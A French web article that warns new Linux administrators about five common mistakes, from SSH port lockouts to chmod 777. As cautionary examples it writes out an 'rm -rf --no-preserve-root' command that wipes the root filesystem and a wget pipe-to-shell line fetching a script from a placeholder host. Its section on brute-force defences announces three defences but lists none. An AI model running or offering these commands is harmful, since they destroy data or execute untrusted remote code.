Commandes Linux

Cinq erreurs d'administration de serveur Linux et comment les éviter

Cinq erreurs d'administration de serveur Linux et comment les éviter
En 2017, un employé de GitLab, la plateforme d'hébergement de contrôle de version, a été sollicité pour répliquer une base de données de production. En raison d'une erreur de configuration, la réplication n'a pas fonctionné comme prévu, l'employé a donc décidé de supprimer les données transférées et de réessayer. Il a exécuté une commande pour supprimer les données indésirables, pour se rendre compte avec une horreur croissante qu'il avait entré la commande dans une session SSH connectée à un serveur de production, supprimant des centaines de gigaoctets de données utilisateur. Chaque administrateur système chevronné peut vous raconter une histoire similaire.

La ligne de commande Linux donne aux administrateurs de serveur le contrôle de leurs serveurs et des données qui y sont stockées, mais cela ne les empêche pas d'exécuter des commandes destructrices avec des conséquences irréversibles. La suppression accidentelle de données n'est qu'un type d'erreur que commettent les nouveaux administrateurs de serveur.

Verrouillage des clés à l'intérieur

Les administrateurs de serveur se connectent aux serveurs avec SSH, un service qui s'exécute généralement sur le port 22, fournissant un shell de connexion à travers lequel les utilisateurs authentifiés peuvent exécuter des commandes sur des serveurs distants. Une étape standard de renforcement de la sécurité consiste à configurer SSH pour accepter les connexions sur un port différent. Déplacer SSH vers un port aléatoire à numéro élevé limite l'impact des attaques par force brute ; les pirates ne peuvent pas tenter de connexion malveillante s'ils ne trouvent pas le port sur lequel SSH écoute.

Cependant, un administrateur qui configure SSH pour écouter sur un port différent puis redémarre le serveur SSH peut constater que ce ne sont pas seulement les pirates qui sont verrouillés. Si le pare-feu du serveur n'est pas également reconfiguré pour autoriser les connexions sur le nouveau port, les tentatives de connexion n'atteindront jamais le serveur SSH. L'administrateur sera verrouillé hors de son serveur sans aucun moyen de résoudre le problème, sauf pour ouvrir un ticket d'assistance auprès de son fournisseur d'hébergement. Si vous modifiez le port SSH, assurez-vous d'ouvrir le nouveau port dans la configuration du pare-feu de votre serveur.

Choisir un mot de passe facile à deviner

Les attaques par force brute sont un jeu de devinettes. L'attaquant essaie de nombreux noms d'utilisateur et mots de passe jusqu'à ce qu'il trouve une combinaison qui lui permet d'entrer. Une attaque par dictionnaire est une approche plus raffinée qui utilise des listes de mots de passe, souvent extraites de bases de données de mots de passe divulguées. Les attaques contre le compte root sont plus faciles que contre d'autres comptes car l'attaquant connaît déjà le nom d'utilisateur. Si un compte root a un mot de passe simple, il peut être piraté en un rien de temps.

Il existe trois façons de se défendre contre les attaques par force brute et par dictionnaire contre le compte root.

Copier des commandes que vous ne comprenez pas

Stack Exchange, Server Fault et des sites similaires sont une bouée de sauvetage pour les nouveaux administrateurs système Linux, mais vous devez éviter la tentation de copier et coller une commande shell que vous ne comprenez pas. Quelle est la différence entre ces deux commandes?

sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /

Il est facile de voir quand ils sont affichés ensemble, mais pas si facile lorsque vous recherchez dans les forums à la recherche d'une commande pour supprimer le contenu d'un volume monté. La première commande supprime tous les fichiers sur le lecteur monté. La deuxième commande supprime ces fichiers et tout sur le système de fichiers racine du serveur. La seule différence est l'espace avant la barre oblique finale.

Les administrateurs de serveur peuvent rencontrer de longues commandes avec des pipelines censés faire une chose mais faire autre chose. Soyez particulièrement prudent avec les commandes qui téléchargent du code sur Internet.

wget http://exemple.com/verybadscript -O - | sh -

Cette commande utilise wget pour télécharger un script qui est redirigé vers le shell et exécuté. Pour exécuter cela en toute sécurité, vous devez comprendre ce que fait la commande et aussi ce que fait le script téléchargé, y compris tout code que le script téléchargé peut lui-même télécharger.

Connexion en tant que root

Alors que les utilisateurs ordinaires ne peuvent modifier que les fichiers de leur dossier de départ, il y a peu de choses que l'utilisateur root ne peut pas faire sur un serveur Linux. Il peut exécuter n'importe quel logiciel, lire n'importe quelle donnée et supprimer n'importe quel fichier.

Les applications exécutées par l'utilisateur root ont un pouvoir similaire. Il est pratique d'être connecté en tant qu'utilisateur root car vous n'avez pas à « sudo » ou « su » tout le temps, mais c'est dangereux. Une faute de frappe pourrait détruire votre serveur en quelques secondes. Un logiciel buggy exécuté par l'utilisateur root pourrait créer une catastrophe. Pour les opérations quotidiennes, connectez-vous en tant qu'utilisateur ordinaire et élevez les privilèges root uniquement lorsque cela est nécessaire.

Ne pas apprendre les autorisations du système de fichiers

Les autorisations du système de fichiers peuvent être déroutantes et frustrantes pour les nouveaux utilisateurs de Linux. Une chaîne d'autorisation comme "drwxr-xr-x" semble dénuée de sens au début, et les autorisations peuvent vous empêcher de modifier des fichiers et empêcher le logiciel de faire ce que vous voulez qu'il fasse.

Les administrateurs système apprennent rapidement que chmod 777 est une incantation magique qui résout la plupart de ces problèmes, mais c'est une idée terrible. Il permet à tout le monde avec un compte de lire, d'écrire et d'exécuter le fichier. Si vous exécutez cette commande sur le répertoire d'un serveur Web, vous demandez à être piraté. Les autorisations de fichiers Linux semblent compliquées, mais si vous prenez quelques minutes pour apprendre comment elles fonctionnent, vous découvrirez un système logique et flexible pour contrôler l'accès aux fichiers.

À une époque qui valorise les expériences utilisateur simples par rapport à tous les autres facteurs, la ligne de commande Linux reste résolument complexe et résistante à la simplification. Vous ne pouvez pas vous débrouiller et espérer que tout ira bien. Ça ne ira pas et tu finiras avec un désastre sur les mains.

Mais si vous apprenez les bases - autorisations de fichiers, outils de ligne de commande et leurs options, meilleures pratiques de sécurité - vous pouvez devenir le maître de l'une des plates-formes informatiques les plus puissantes jamais créées.

Top 10 des jeux à jouer sur Ubuntu
La plate-forme Windows a été l'une des plates-formes dominantes pour les jeux en raison du pourcentage énorme de jeux qui se développent aujourd'hui p...
5 meilleurs jeux d'arcade pour Linux
De nos jours, les ordinateurs sont des machines sérieuses utilisées pour les jeux. Si vous ne pouvez pas obtenir le nouveau score élevé, vous saurez c...
Bataille pour Wesnoth 1.13.6 Développement publié
Bataille pour Wesnoth 1.13.6 publiée le mois dernier, est la sixième version de développement de la 1.13.x series et il apporte un certain nombre d'am...